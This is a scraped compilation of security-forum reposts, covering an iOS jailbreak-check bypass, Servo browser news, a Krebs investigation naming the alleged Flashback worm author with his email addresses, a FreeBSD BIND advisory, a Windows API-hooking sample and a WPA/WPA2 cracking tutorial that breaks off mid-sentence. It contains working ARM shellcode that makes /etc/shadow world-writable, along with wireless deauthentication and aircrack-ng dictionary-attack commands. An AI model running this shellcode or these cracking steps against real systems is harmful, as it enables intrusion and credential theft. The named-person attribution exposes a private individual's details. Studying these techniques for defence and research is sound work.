from the class definition. The class object maintains a dispatch table consisting essentially of pointers to the methods it implements; it also holds a pointer to its superclass, which has its own dispatch table and superclass pointer. Through this chain of references, an object has access to the method implementations of its class and all its superclasses (as well as all inherited public and protected instance variables). The isa pointer is critical to the message-dispatch mechanism and to the dynamism of Cocoa objects. Please read the rest here: https://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/CocoaFundamentals/CocoaObjects/CocoaObjects.html The last line of the above excerpt summarizes the importance of isa in message dispatching. Here is more information on it: The key to messaging lies in the structures that the compiler builds for each class and object. Every class structure includes these two essential elements: A pointer to the superclass. A class dispatch table. This table has entries that associate method selectors with the class-specific addresses of the methods they identify. Full Details here: https://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtHowMessagingWorks.html Step 3: It's OK if the above does not make any sense but it's good to know what is really happening in the background. Now let's change the implementation of isJailbroken with Cycript Step 4: Now when you try Clicking on "Am I Pirated?" you will always get a "NO" W00t Hope you enjoyed this post. I will creating more posts on Bypassing more checks like Binary checks, Bundle and Hash checks etc. in coming posts. Stay tuned! If you are interested in learning how to methodically understand many of the above concepts and test iOS applications with a blackbox approach, then please have a look at my SecurityTube iOS Security Expert (SISE) is an online course and certification which focuses on the iOS platform and application security. This course is ideal for pentesters, researchers and the casual iOS enthusiast who would like to dive deep and understand how to analyze and systematically audit applications on this platform using a variety of bleeding edge tools and technique. Posted by Vivek Ramachandran Sursa: SecurityTube.net Hack of the Day: Bypassing Jailbroken Checks in iOS Applications using GDB and Cycript

[h=1]Mozilla and Samsung to collaborate on Servo browser engine[/h]3 Apr 2013 17:30 Mozilla Research has been working on a next generation browser engine for some time now, developing both Rust, a safe-by-default, concurrent replacement for C++, and an experimental browser engine called Servo, written in Rust. Now, Brendan Eich, CTO at Mozilla, has announced that Mozilla will be working with Samsung to develop Servo on Android and ARM platforms. Servo and Rust are a ground up rebuild of browser technology which focuses on the predicted future demands of using multiple cores with high security and stability. Rust offers lightweight concurrency primitives which make it easier for developers to make use of many cores. Rust's safe-by-default nature also prevents a number of categories of memory management errors from happening; these are one of the prime causes of crashes and an enabler of remote code execution attacks. Samsung has already been collaborating with Mozilla and has delivered an ARM backend to Rust to allow Servo to be cross-compiled for mobile devices; the code and instructions are already available for interested developers. Samsung's interest is most likely centred around the ARM-based processors it develops, including the most recent 8-core Octa Exynos with two sets of four cores in power/power-efficient combinations. ARM-based processors are most likely to be developed over time with many more cores to allow them to scale to demand, therefore a browser and language which efficiently exploits this property would be very useful. Where it would fit in Samsung's plans though is hard to work out; the company already makes mobile devices with Android, is developing Tizen with Intel and the Linux Foundation, still has Bada, its own phone OS, and makes some Windows 8 phones. Rust made its public debut in January 2012 as an experiment in emphasising security over performance. Rust 0.6 has been released today, and Eich says that over the coming year they are "racing to complete the first major revision of Rust". This will involve cleaning up the language, expanding the reach of the system libraries, building complete user-ready toolchains, fully documenting the platform, and improving the language's performance. Development of Servo, which originally emerged in March 2012, will continue to explore how pervasive parallelism can be exploited in a browser. (djwm) Sursa: The H Open - Mozilla and Samsung to collaborate on Servo browser engine

Linux/ARM - chmod("/etc/shadow", 0777) - 41 bytes /* Title: Linux/ARM - chmod("/etc/shadow", 0777) - 41 bytes Date: 2012-09-08 Tested on: ARM1176JZF-S (v6l) Author: midnitesnake 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 4678 mov r0, pc 805e: 3012 adds r0, #18 8060: 21ff movs r1, #255 ; 0xff 8062: 31ff adds r1, #255 ; 0xff 8064: 3101 adds r1, #1 8066: 270f movs r7, #15 8068: df01 svc 1 806a: 1b24 subs r4, r4, r4 806c: 1c20 adds r0, r4, #0 806e: 2701 movs r7, #1 8070: df01 svc 1 8072: 652f .short 0x652f 8074: 732f6374 .word 0x732f6374 8078: 6f646168 .word 0x6f646168 807c: 46c00077 .word 0x46c00077 */ #include <stdio.h> char shellcode[] = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x78\x46" "\x12\x30" "\xff\x21" "\xff\x31" "\x01\x31" "\x0f\x27" "\x01\xdf" "\x24\x1b" "\x20\x1c" "\x01\x27" "\x01\xdf" "\x2f\x65" "\x74\x63\x2f\x73" "\x68\x61\x64\x6f" "\x77\x00" "\xc0\x46"; int main() { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } Sursa: http://www.javierperez.cl/RPi/RPi_Linux-ARM%20-%20chmod_etcshadow.txt L-am pus pentru ca e "documentat".

[h=2]Who Wrote the Flashback OS X Worm?[/h] 03Apr 13 [h=2]Who Wrote the Flashback OS X Worm?[/h] A year ago today, Apple released a software update to halt the spread of the Flashback worm, a malware strain that infected more than 650,000 Mac OS X systems using a vulnerability in Apple’s version of Java. This somewhat dismal anniversary is probably as good a time as any to publish some clues I’ve gathered over the past year that point to the real-life identity of the Flashback worm’s creator. Before I delve into the gritty details, a little background on this insidious contagion is in order. A keenly detailed research paper (PDF) published last year by Finnish security firm F-Secure puts the impact and threat from Flashback in perspective, noting that the malware boasted a series of “firsts” for its kind. For starters, Flashback was the first OS X malware to be “VMware aware” — or to know when it was being run in a virtual environment (a trick designed to frustrate security researchers). It also was the first to disable XProtect, OS X’s built-in malware protection program. These features, combined with its ability to spread through a then-unpatched vulnerability in Java made Flashback roughly as common for Macs as the Conficker Worm was for Windows PCs. “This means Flashback is not only the most advanced, but also the most successful OS X malware we’ve ever seen,” wrote F-Secure’s Broderick Ian Aquilino. The F-Secure writeup answers an important question not found in other analyses: Namely, what was the apparent intended purpose of Flashback? Put simply: to redirect Google results to third-party advertisers, all for the author’s profit. It’s name was derived from the fact that it spread using a social engineering trick of presenting the OS X user with a bogus Flash Player installation prompt. F-Secure notes that this same behavior — both the Flash social engineering trick and the redirection to fake Google sites that served search results for third-party advertisers that benefited the author — was also found in the QHost malware, suggesting that Flashback may have been the next evolution of the Mac QHost malware. BLACK SEO A year ago, I published a series that sought to identify the real-life hackers behind the top spam botnets. Using much the same methodology, I was able to identify and locate a young man in Russia who appears (and privately claims) to be the author of Flashback. As it happens, this individual hangs out on many of the same forums as the world’s top spammers (but more on that at another time). Given Flashback’s focus on gaming Google’s ad networks, I suspected that the worm’s author probably was a key member of forums that focus on so-called “black hat SEO,” (search engine optimization), or learned in illicit ways to game search engines and manipulate ad revenues. Sure enough, this individual happens to be a very active and founding member of BlackSEO.com, a closely guarded Russian language forum dedicated to this topic. Below is a screen shot taken from a private message between a “VIP” user named “Mavook” and a top forum member on BlackSEO.com. The conversation took place on July 14, 2012. A rough translation of their conversation is superimposed on the redacted screen grab, but basically it shows Mavook asking the senior member for help in gaining access to Darkode.com, a fairly exclusive English-language cybercrime forum (and one that I profiled in a story earlier this week). BlackSEO.com member “Mavook” claims responsibility for creating Flashback to a senior forum member. Mavook asks the other member to get him an invitation to Darkode, and Mavook is instructed to come up with a brief bio stating his accomplishments, and to select a nickname to use on the forum if he’s invited. Mavook replies that the Darkode nick should be not be easily tied back to his BlackSEO persona, and suggests the nickname “Macbook.” He also states that he is the “Creator of Flashback botnet for Macs,” and that he specializes in “finding exploits and creating bots.” The senior member that Mavook petitions is quite well known in the Russian cybercrime underground, and these two individuals also are well known to one another. In fact, in a separate exchange on the main BlackSEO forum between the senior member and a BlackSEO user named JPS, the senior member recommends Mavook as a guy who knows his stuff and can be counted on to produce reliable attack tools. In the conversation screen-shotted here to the left, JPS can be seen asking the senior forum member for recommendations about reliable individuals who sell unique exploit packs, software toolkits built to be stitched into hacked Web sites and exploit common Web browser vulnerabilities. JPS says he’s looking for a pro who can deliver decent exploitation rates. “I have no time (and no desire) to roam chats and argue there with cool hackers,” JPS said. “I need to check traffic in terms of exploitability, and in the future, if everything is alright, I can work on a continuous basis” with the hired expert. The senior member tells JPS to ask Mavook. “If Mavook won’t budge, saying that he is no longer doing this stuff, write to me again.” WHO IS MAVOOK? If we take a closer look at Mavook’s profile page on BlackSEO.com, we can see that he is a longtime member, dating back to 2005, when he was the 24th member registered on BlackSEO (out of thousands). Mavook’s profile also shows that his personal home page was at one time mavook.com. The WHOIS registration records for mavook.com have long been hidden by commercial WHOIS privacy protection services, but I found the original WHOIS record for this domain using the indispensable historic WHOIS service maintained by domaintools.com. Those records show that the domain was originally registered in 2005 by a Maxim Selikhanovich in Saransk, the capital city in Mordovia, a republic in the eastern region of the East European Plain of Russia. The email address used to register mavook.com was “h0mini@mail.ru” (the second character in the address is a zero). A search for that email address in Skype’s user database brings up a user with the screen name “Maximsd”. Mavook also used the email address “mavook@gmail.com.” That address is tied a Maxim Selikhanovich in Saransk via the registration records for the now defunct Website saransk-offline.com, which at one point sold popular MP3 files for pennies apiece. One of the emails used by Maxim for that Website and a related site was “troxel@yandex.ru,” which was the same email used to register a now-deleted Facebook account under a Maxim Selikhanovich from Saransk. Yet another abandoned music sales site — mavook-mp3.com — was registered to a “Mavook aka Troxel” and to the h0mini@mail.ru” address used for mavook.com. MACS, MAX and MAKS The final clue offers perhaps the most tantalizing details: The h0mini@mail.ru address is the contact point of record for a business in Saransk called mak-rm.com, the domain name registered to a IT-outsourcing and Web design firm in Saransk called the Mordovia Outsourcing Company (the “mak” part of the name comes from the Russian version of the company name, which is “?????????? ?????????????? ????????”). That domain is registered to a “Max D. Sell” in Saransk (see a cached image from mak-rm.com’s homepage in 2010 at the Internet Archive). According to a trusted source who has the ability to look up tax information on citizens and corporations in Russia, the Mordovia Outsourcing Company was registered and founded by one Maxim Dmitrievich Selihanovich, a 30-year-old from Saransk, Mordovia. Sursa: https://krebsonsecurity.com/2013/04/who-wrote-the-flashback-os-x-worm/

FreeBSD Security Advisory - BIND Denial Of Service Site security.freebsd.org FreeBSD Security Advisory - A flaw in a library used by BIND allows an attacker to deliberately cause excessive memory consumption by the named(8) process. This affects both recursive and authoritative servers. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-13:04.bind Security Advisory The FreeBSD Project Topic: BIND remote denial of service Category: contrib Module: bind Announced: 2013-04-02 Credits: Matthew Horsfall of Dyn, Inc. Affects: FreeBSD 8.4-BETA1 and FreeBSD 9.x Corrected: 2013-03-28 05:35:46 UTC (stable/8, 8.4-BETA1) 2013-03-28 05:39:45 UTC (stable/9, 9.1-STABLE) 2013-04-02 17:34:42 UTC (releng/9.0, 9.0-RELEASE-p7) 2013-04-02 17:34:42 UTC (releng/9.1, 9.1-RELEASE-p2) CVE Name: CVE-2013-2266 For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit <URL:http://security.FreeBSD.org/>. I. Background BIND 9 is an implementation of the Domain Name System (DNS) protocols. The named(8) daemon is an Internet Domain Name Server. The libdns library is a library of DNS protocol support functions. II. Problem Description A flaw in a library used by BIND allows an attacker to deliberately cause excessive memory consumption by the named(8) process. This affects both recursive and authoritative servers. III. Impact A remote attacker can cause the named(8) daemon to consume all available memory and crash, resulting in a denial of service. Applications linked with the libdns library, for instance dig(1), may also be affected. IV. Workaround No workaround is available, but systems not running named(8) service and not using base system DNS utilities are not affected. V. Solution Perform one of the following: 1) Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date. 2) To update your vulnerable system via a source code patch: The following patches have been verified to apply to the applicable FreeBSD release branches. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch http://security.FreeBSD.org/patches/SA-13:04/bind.patch # fetch http://security.FreeBSD.org/patches/SA-13:04/bind.patch.asc # gpg --verify bind.patch.asc Execute the following commands as root: # cd /usr/src # patch < /path/to/patch Recompile the operating system using buildworld and installworld as described in <URL:http://www.FreeBSD.org/handbook/makeworld.html>. Restart the named daemon, or reboot the system. 3) To update your vulnerable system via a binary patch: Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility: # freebsd-update fetch # freebsd-update install VI. Correction details The following list contains the revision numbers of each file that was corrected in FreeBSD. Branch/path Revision - ------------------------------------------------------------------------- stable/8/ r248807 stable/9/ r248808 releng/9.0/ r249029 releng/9.1/ r249029 - ------------------------------------------------------------------------- VII. References https://kb.isc.org/article/AA-00871 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2266 The latest revision of this advisory is available at http://security.FreeBSD.org/advisories/FreeBSD-SA-13:04.bind.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.19 (FreeBSD) iEYEARECAAYFAlFbGYYACgkQFdaIBMps37J4eACeNzJtWElzKJZCqXdzhrHEB+pu 1eoAn0oD7xcjoPOnB7H3xZbIeHldgGcI =BX1M -----END PGP SIGNATURE----- Sursa: FreeBSD Security Advisory - BIND Denial Of Service ? Packet Storm

[h=1]Extended code overwriting (ECO)[/h]By RosDevil Posted 29 March 2013 - 12:21 PM This is an example of ECO (extended code overwriting) to intercept APIs. The basic concept is the same of simple code overwriting: "the concept of this approach is to locate the address of the original API function and to change first few bytes of this function with a JMP instruction that redirects the call to the custom supplied API function. This method is extremely tricky and involves a sequence of restoring and hooking operations for each individual call. It's important to point out that if the function is in unhooked mode and another call is made during that stage, the system won't be able to capture that second call. The major problem is that it contradicts with the rules of a multithreaded environment." (From CodeProject) in Extended code overwriting: We CAN'T have a loss of api interception while hooking, because there isn't any restoring the original Api. We create a new function that is able to perform the same operations of the API. So any time we need to call that API directly we call the new function. This a quick example that really gives you the idea. The console application applys the hook on itself on MessageBoxA, then calls a MessageBox, but it is (intercepted and) redirected to an other function that will ask you whether allow the MessageBox work or not. Then it shows you how to call the original API MessageBoxA from the new function, so to avoid the hook. (the executable is attached so try) This basic code contains all the infos to create a DLL that, after being injected in processes with any sort of injection that you like, can monitor the APIs that you want, so to report it to a file or maybe make it work such as an antivirus that blocks APIs that you consider malicious, like bind(). //API INTERCEPTION: EXTENDED CODE OVERWRITING by RosDevil //compiler: VC++ (Windows XP 32bit) #include "stdafx.h" #include "windows.h" #include <iostream> #include "conio.h" //--> getch() using namespace std; __declspec() void CallMsg(); __declspec() int MessageBox_M(); _declspec()int call_MessageBox(HWND hwnd, char * text, char * caption, UINT types); char * text, * caption; //globals to contain the hook function's DWORD Buttons_and_Icons; //parameters: HWND hWnd; //MessageBox(hwnd, text, caption, types) //This is really important not for the hook but to reperform the original API. //the first five NOPs (0x90) will be replaced with the first five bytes of the original API, then //the other 5 bytes (0xE9[jmp] and four 0x90) are there to perform a JMP exatly after our patch in the orginal //API, so it can run normally. The last four NOPs (0x90) will be replaced with the size of the jump to //the original API after the patch. unsigned char original_bytes_for_extendedF[10] = {0x90, 0x90, 0x90 ,0x90 ,0x90, 0xE9, 0x90, 0x90 ,0x90 ,0x90}; //Hook function, when ever MessageBoxA is called it is suddenly redirected here. __declspec(naked) void CallMsg(){ _asm{ mov edi, edi push ebp mov ebp, esp mov eax, [ebp + 8] //first parameter HWND (handle window) mov hWnd, eax mov eax, [ebp + 12] //second parameter "i am free" mov text, eax mov eax, [ebp + 16] //third parameter "MSG" mov caption, eax mov eax, [ebp + 20]; //fourth parameter Buttons and Icons (unsigned int) mov Buttons_and_Icons, eax } char c; cout<<endl<<"---- Api intercepted (MessageBoxA) ----"<<endl; cout<<"Message: "<< text <<endl; cout<<"Caption: "<< caption <<endl; cout<<"Buttons/Icons: "<<hex<<Buttons_and_Icons<<endl; cout<<"Handle Window: "<<hWnd<<endl; cout<<"---- "<<endl; cout<<"Do you want to let the API work? (y/n)"<<endl; c = getch(); _asm{ cmp c, 'y' jne out1 push Buttons_and_Icons push caption push text push hWnd call MessageBox_M //eax is set by the original function MessageBoxA jmp finish out1: mov eax, -1 finish: pop ebp retn 10h //the called function is responsable for the stack cleanup } } //This is the EXTENDED function, in other words, it is exatly the same of MessageBoxA. __declspec(naked) int MessageBox_M(){ _asm{ NOP //mov edi, edi NOP //push ebp NOP //mov ebp, esp NOP //.. NOP //.. NOP //jmp to address of [MessageBoxA + 5] NOP NOP NOP NOP NOP NOP } } //When we want to call directly the MessageBox without hooks we call this. //Note: we could avoid this function and pass directly the parameters to MessageBox_M each time we need a MessageBox, //BUT there is a possible buffer overrun if parameters are passed outside a NAKED function because the compiler //is normally set to optimize the code, and when ASSEMBLY code is added directly, there are many possibilities //of a stack-crash. _declspec(naked)int call_MessageBox(HWND hwnd, char * text, char * caption, UINT types){ _asm{ push ebp mov ebp, esp push [ebp + 20] push [ebp + 16] push [ebp + 12] push [ebp + 8] call MessageBox_M pop ebp ret } } int _tmain(int argc, _TCHAR* argv[]) { //this contains the jmp from the original api to the redirected function, the four 0x90 will be replaced //with the size of the jump to CallMsg() unsigned char redirect[] = { 0xE9, 0x90, 0x90, 0x90, 0x90, 0x90}; /* First let's get the address of the Api that we want to hook and then calculate the size of the relative jumps in and out of it. Formula to calculate size of JMP: pAddressTo - pAddressFrom; *we need to consider that the jump size must be calculated after the JMP not before. *moreover remember that the size of a jump is a SIGNED number. */ DWORD adr = (DWORD)GetProcAddress(GetModuleHandle("User32.dll"), "MessageBoxA"); long offset = (DWORD)CallMsg - adr - 5; long to_original_offset = (adr + 5) - ((DWORD)MessageBox_M + 10); DWORD oldP; //ALLOW and MODIFY MessageBoxA API if (VirtualProtect((void*)adr, 5, PAGE_EXECUTE_READWRITE, &oldP)==0) MessageBox(0, "Error VirtualProtect", "info", MB_OK); memcpy((void*)((unsigned long)&redirect + 1), &offset, 4); memcpy((void*)((unsigned long)&original_bytes_for_extendedF), (void*)adr, 5); memcpy((void*)adr, &redirect, 5); VirtualProtect((void*)adr, 5, oldP, 0); //ALLOW and MODIFY MessageBox_M VirtualProtect(&MessageBox_M, 10, PAGE_EXECUTE_READWRITE, &oldP); memcpy((void*)((unsigned long)&original_bytes_for_extendedF + 6), &to_original_offset, 4); memcpy((void*)MessageBox_M, &original_bytes_for_extendedF, 10); VirtualProtect((void*)MessageBox_M, 10, oldP, 0); /* Now we have enstablished a hook on MessageBoxA and we have created an extented function MessageBox_M that performs the real API MessageBoxA. */ int result = MessageBox(0, "I wanna be free. Do you let me?", "MSG", MB_YESNO | MB_ICONWARNING); if (result == IDYES){ cout<<"MessageBox: You have pressed YES!"<<endl; }else if (result == IDNO){ cout<<"MessageBox: You have pressed NO!"<<endl; }else if (result == -1) cout<<"MessageBox: Error, API BLOCKED!"<<endl; //When ever we need to call MessageBoxA directly we call call_MessageBox() that will //pass the parameters to MessageBox_M() call_MessageBox(0, "This is MessageBoxA performed by an extended function", "EXTENDED CODE OVERWRITING", MB_OK | MB_ICONWARNING); cout<<"Press to exit..."<<endl; getch(); return 0; } PUT LIKE IF YOU APPRECIATE [h=4]Attached Files[/h] ECO.rar 5.09K 11 downloads RosDevil Sursa: Extended code overwriting (ECO) - rohitab.com - Forums

[h=1]Yahoo! Messenger XSS vulnerability[/h] http://www.youtube.com/watch?v=s_78bk3dZcc

How To Crack WPA / WPA2 Fri, 26 Oct 2012 12:40 Scott DeLeeuw Introduction The world has changed since Brandon Teska's original WPA/WPA2 Cracking tutorial was written in 2008. While there are some wireless networks still using WEP, there has been a mass migration to WPA2-AES wireless security. A key reason for this move is 802.11n, which requires WPA2/AES security enabled in order to access link rates over 54 Mbps. Cracking techniques have changed too. While most techniques still use some form of dictionary-based exploits, the power of the cloud has also been brought to bear on password cracking. In fact, Dan Goodin's excellent article over on Ars prompted Tim to ask me to revisit the original article and update it to include the new methods Dan described. So here I am. Brandon's article provides a good WPA primer, so I won't repeat that here. The key things that you need to know are: The information we need to capture is contained in transmissions between AP and STA (client) known as the "four-way handshake" The techniques used to recover the passphrase are primarily forms of dictionary attacks So, let's just jump in after a few "need to knows": Warning and Disclaimer Accessing or attempting to access a network other than your own (or have permissions to use) is illegal. SmallNetBuilder, Pudai LLC, and I are not responsible in any way for damages resulting from the use or misuse of information in this article. Note: The techniques described in this article can be used on networks secured by WPA-PSK or WPA2-PSK. References to "WPA" may be read "WPA/WPA2". Setup To crack WPA-PSK, we'll use the venerable BackTrack Live-CD SLAX distro. It's free to download, but please consider donating, since this really is the Swiss Army knife of network security. As you can see from my system specs in Table 1, it doesn't take much computing power to run WPA cracks. [TABLE=class: content_table_narrow, align: center] [TR] [TH=colspan: 2]Attacking System Specs[/TH] [/TR] [TR=class: light] [TD]Model[/TD] [TD]Dell Latitude D630 laptop[/TD] [/TR] [TR=class: dark] [TD]Processor[/TD] [TD]Intel Core2Duo T7100 (1.80 GHz)[/TD] [/TR] [TR=class: light] [TD]Wireless Adapter[/TD] [TD]Intel WiFi Link 5300 AGN[/TD] [/TR] [TR=class: dark] [TD]OS[/TD] [TD]BackTrack 5 R3 KDE 32-bit (build 08.13.2012)[/TD] [/TR] [TR=class: light] [TD]Target Wireless Access Point[/TD] [TD]NETGEAR WNDR4500 (SSID: 9105GirardCh6)[/TD] [/TR] [TR=class: dark] [TD]Target AP MAC[/TD] [TD]20:4E:7F:0C:05:C3[/TD] [/TR] [TR=class: light] [TD]Target AP Client MAC[/TD] [TD]00:19:88:22:96:BC[/TD] [/TR] [/TABLE] Table 1: Attacking System Specs BackTrack 5 R3 is the current version over at backtrack-linux.org so that's what we'll be using. First, download, the BackTrack ISO. I decided to boot BackTrack as a USB thumb drive with 4 GB of persistence. For this I used a 16 GB USB thumbdrive and LinuxLive USB Creator. Recon with Kismet Open up Kismet, the venerable wireless surveillance tool (Backtrack > Information Gathering > Wireless Analysis > WLAN Analysis > Kismet). Upon opening Kismet you will need to select your wireless interface, which you can grab by typing "iwconfig" in a terminal. Kismet is a great surveillance tool, but that is only one of its many talents. It captures raw packets while operating, which we can use later to attack weak PSKs, having captured a client connection while listening. It also has some interesting alerts built in, to warn you of potential evil-doers within wireless range. To top it off, Kismet is completely passive and therefore undetectable. In Part 1 of our original WEP cracking series, Humphrey Cheung wrote a great introduction to recon with Kismet. Recon for WEP cracking and WPA cracking is very similar, so I won't repeat all that information here. Instead, I'll just point out a few settings and options that I find useful as well as explain a bit of the interface. I would add, however, that Kismet is very versatile and customizable with great context-sensitive help menus. In the main network list, access points are color coded by encryption method, which we also see indicated in the "C" column. Green (N) indicates no encryption method, while Red (W) indicates WEP encryption. Yellow (O) indicates other, usually meaning WPA / WPA2. You can see that highlighted an SSID provides more details about that specific AP. Figure 1: Kismet Information Screen The other interesting parts of the Network List display for our purposes include the T, Ch and the Pkts columns. The Ch column, as one might expect, is the channel of the access point. We'll need this information later if we employ an active attack. The Pkts column lists the number of packets captured by Kismet for a particular access point. While not completely relevant, it gives us a decent ball-park measurement of both network load and proximity. Higher network load usually translates to higher number of connected clients, which increases the chance that we could capture a client association passively. Kismet defaults to autofit mode, where you can sort the networks and bring up the Network Details page by highlighting an AP and hitting enter. The Network Details page list all sorts of interesting information about the network most notably the WPA encryption scheme, BSSID and number of clients associated with the access point. Pressing c while in the Network Details view will bring up the connected Clients List. The Client List shows all the nodes with traffic associated with the access point. This is one reason it's nearly useless to set MAC filters at a router. In seconds, Kismet can give an observer your client MACs, which can then be easily configured to the attacker's network adapter. The client list can also be shown on the main page by selecting "Client Details" under View as shown in Figure 1 above. Passive Attack In a passive attack, all we need to do is listen on a specific channel and wait for a client to authenticate. Kismet is the weapon of choice here, although airodump-ng works too. Kismet gives you much more control and information than airodump-ng, but unfortunately doesn't provide notification to alert you of a successful WPA-PSK association four-way handshake. Airodump-ng does, but gives you less dynamic control of the capture card's behavior and very little information (compared to Kismet). General Kismet recon and capture steps for a passive WPA-PSK attack are: Start Kismet Sort the networks (Ex: by channel, press "s" then "c") Lock channel hopping onto the channel of interest (highlight the target AP and press "L") Wait until a client connects to capture the association Active Attack Passive attacks have the advantage of being undetectable because they only listen to traffic from the target network. But if your target doesn't have a lot of traffic, you can wait a long time to capture the four-way handshake. Fortunately, you have the faster, but less-stealthy option of running an active attack. Using the information we gathered with Kismet during the recon step, we can send associated client(s) of the target AP forged deauthentication packets, which should cause the client(s) to disassociate from the AP. We then listen for the reassociation and subsequent authentication. After identifying our target AP with associated clients, we need to set up the wireless hardware for packet injection. The aircrack suite has a little bash script to do just that. First bring down the managed VAP (Virtual Access Point) with: airmon-ng stop ath0 Figure 2: Bringing down the managed interface Next, start up a VAP in "Monitor" mode: airmon-ng start wifi0 Figure 3: Creating a monitor mode interface Now we need to simultaneously deauthenticate a client and capture the resulting reauthentication. Open up two terminal windows. Start airodump-ng in one terminal: General Form: airodump-ng -w capture_file_prefix --channel channel_number interface Example: airodump-ng -w cap --channel 6 ath0 Figure 4: airodump-ng, up and running Note: You can find the interface that is in monitor mode by using iwconfig. Next, run the deathentication attack with aireplay-ng in the other terminal: General Form: aireplay-ng --deauth 1 -a MAC_of_AP -c MAC_of_client interface Example: aireplay-ng --deauth 1 -a 00:18:E7:02:4C:E6 -c 00:13:CE:21:54:14 ath0 Figure 5: A successfully sent deathentication packet If all goes well, the client should be deauthenticated from the AP and will usually reauthenticate. If remaining undetected is important, send only one deauth and be patient. This helps keep you under the radar, since programs like Kismet can detect deauthentication floods. If the deauthentication was successful, airodump-ng displays a notification of the captured reauthentication event (boxed in red in Figure 6). Figure 6: Successful WPA handshake capture Finding the Four-way Handshake To make sure we captured an authentication handshake, we can use the network protocol analyzer Wireshark (formerly Ethereal). Wireshark allows us to view packet contents and sort by type of packet captured to pull out the WPA handshake. Open up Wireshark (Backtrack > Privilege Escalation > Protocol Analysis > Network Sniffers > WireShark) and open the Kismet capture "dump" file (Kismet-.dump) to view all the captured packets. The WPA four-way handshake uses the Extensible Authentication Protocol over LAN (EAPoL). Using Wireshark, we can filter the captured packets to display only EAPoL packets by entering "eapol" in the filter field (Figure 7). Figure 7: EAPoL filter applied to captured packets Here, we're basically looking for four packets that alternate source, client-AP-client-AP (I've highlighted them in red in Figure 7). Now that we've confirmed that we've captured a four-way handshake, it's time to perform the crack. Performing the Crack The Wi-Fi Alliance was wise to implement an eight character minimum for WPA-PSK. Making the key that long essentially renders brute force methods useless. This is because the number of possible typeable character combinations for keys of an eight character length is just above six quadrillion (that's 948 or about 6 x 1015). So brute-force techniques won't be effective. What we can do, however, is limit the list of possible passphrases by making educated guesses, compute the hashes of those guesses and check them against our captured key. This technique is referred to as a dictionary attack. BackTrack 5 R3 comes with a few simple wordlists, which can simply be opened as text files. I looked within the list and did not see my test password "gilbert28" in the lists, so for purposes of demonstration I added it to the bottom. I know what you're going to say, what good is it if you simply add it to the bottom? We'll get to that later. If you don't want to experiment with the simple wordlists included on the BackTrack distro, there are plenty of wordlists around the 'net. I used a downloaded wordlist containing 172,746 keys. With that list I could mount a dictionary attack on the captured WPA handshake using aircrack-ng. Aircrack-ng runs pretty fast on my attacking system (testing 172,746 keys took 3 minutes flat, that's 980 keys per second), and has native optimization for multiple processors. Even though it doesn't take a beefy system to run a WPA / WPA2 dictionary attack, I should note that I also ran this same attack on a Q8300 2.4 GHz quad-core and it finished the same list in one minute and 2 seconds, crunching 2,800 keys per second. aircrack-ng attack Start a dictionary attack against a WPA key with the following: General Form: aircrack-ng -e AP_SID -w dictionary_file capture_file Example (BackTrack 5 R3): aircrack-ng -e 9105GirardCh6 -w passwords2.txt Ch6-01.cap Aircrack-ng shows the hex hashes of the keys as it tries them, which is nice since some attacks can take a long time. Figure 8 shows that Aircrack-ng took 3 minutes to find the test key "gilbert28". Figure 8: Aircrack-ng, Key Found! Other Methods If you've been paying attention, you know that I had to add this password to the end of my large dictionary file. The obvious limitation of these techniques is the existence of the key within the dictionary file used for the attack. WPA keys like "dinosaur" or "dictionary" can be easily cracked by aircrack-ng, but something like "dinosaur52" or "D1cti0nary" would not. They would at least be missed by a plain-jane sweep through the dictionary and would take a couple million years to straight brute-force. Or not. It takes my laptop about 12 hours to crank through 45 million passphrases. This isn't exactly lightning fast. But things get a bit scarier when you look at the speed of cloud-based cracking services. That 12 hours it took above to crunch 45 million words can be done in way less than an hour via the cloud. Cloud-based cracking services will retrieve the password for you, for a small fee, of course. One such service is CloudCracker.com. All you do is provide the authentication handshake (the file we looked at with WireShark), the SSID, and your credit card and they do the rest. CloudCracker.com is also not limited to WPA2 passwords, they'll retrieve NTLM, SHA-512, MD5 and MSCHAPv2 (PPTP VPN) passphrases, too. The table below shows the pricing structure I was presented with for my WPA / WPA2 crack: [TABLE=class: content_table_narrow, align: center] [TR=class: light] [TH]Price[/TH] [TH]Dictionary size Number of Words[/TH] [TH]Maximum Time[/TH] [/TR] [TR=class: dark] [TD=align: right]$17[/TD] [TD=align: right]604 M[/TD] [TD=align: center]1 Hour[/TD] [/TR] [TR=class: light] [TD=align: right]$34[/TD] [TD=align: right]1,208 M[/TD] [TD=align: center]1 Hour[/TD] [/TR] [TR=class: dark] [TD=align: right]$68[/TD] [TD=align: right]2,416 M[/TD] [TD=align: center]1 Hour[/TD] [/TR] [TR=class: light] [TD=align: right]$136[/TD] [TD=align: right]4,832 M[/TD] [TD=align: center]2 Hours[/TD] [/TR] [/TABLE] Table 2: CloudCracker.com WPA / WPA2 Cracking Prices I made an executive decision and just went with the $17 cracking option, knowing full well that "gilbert28" was not complex enough to withstand a 604 Million Word search. As expected, CloudCracker.com returned my password in 524 seconds (just under 9 minutes) from the moment I clicked Submit Job. Figure 9: CloudCracker.com Returning My Password So do you really need a 64 character randomly-generated password to be safe from cracking? To answer that, I tried a second CloudCracker run. This time I used the default password that came with my NETGEAR router. Some NETGEAR routers (and Cisco Linksys' too) come with what look like easily-crackable default WPA passwords. So I submitted my default—classymoon359—to CloudCracker to see if what I suspected was true. I had a feeling that the 604 M $17 dictionary wasn't going to do the job, so I bumped up to the 1,208 million word option for $34. Figure 10 showed that CloudCracker completed its work before the allotted hour was up, but failed to recover the password. We'll see why that was in a little while. Figure 10: CloudCracker.com fail If you don't want to spend the money on CloudCracker, there are other tools in the BackTrack distro that you can try. The original version of this article describes techniques using John the Ripper to generate permutations and common password additions to a dictionary 